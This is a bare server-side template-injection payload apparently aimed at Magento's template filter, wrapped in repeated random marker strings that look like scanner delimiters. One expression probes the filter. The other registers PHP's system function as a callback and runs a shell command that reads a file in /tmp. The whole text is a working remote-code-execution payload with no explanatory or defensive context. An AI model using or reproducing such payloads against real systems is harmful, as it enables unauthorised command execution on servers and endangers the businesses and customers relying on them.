wb3YGQ3I1m3FeSAFO46m6ngZ4C3KrRok{{var this.getTemplateFilter().filter(foobar)}}wb3YGQ3I1m3FeSAFO46m6ngZ4C3KrRokwb3YGQ3I1m3FeSAFO46m6ngZ4C3KrRok{{var this.getTemplateFilter().addAfterFilterCallback(system).filter('cat /tmp/result.txt | head -20')}}wb3YGQ3I1m3FeSAFO46m6ngZ4C3KrRok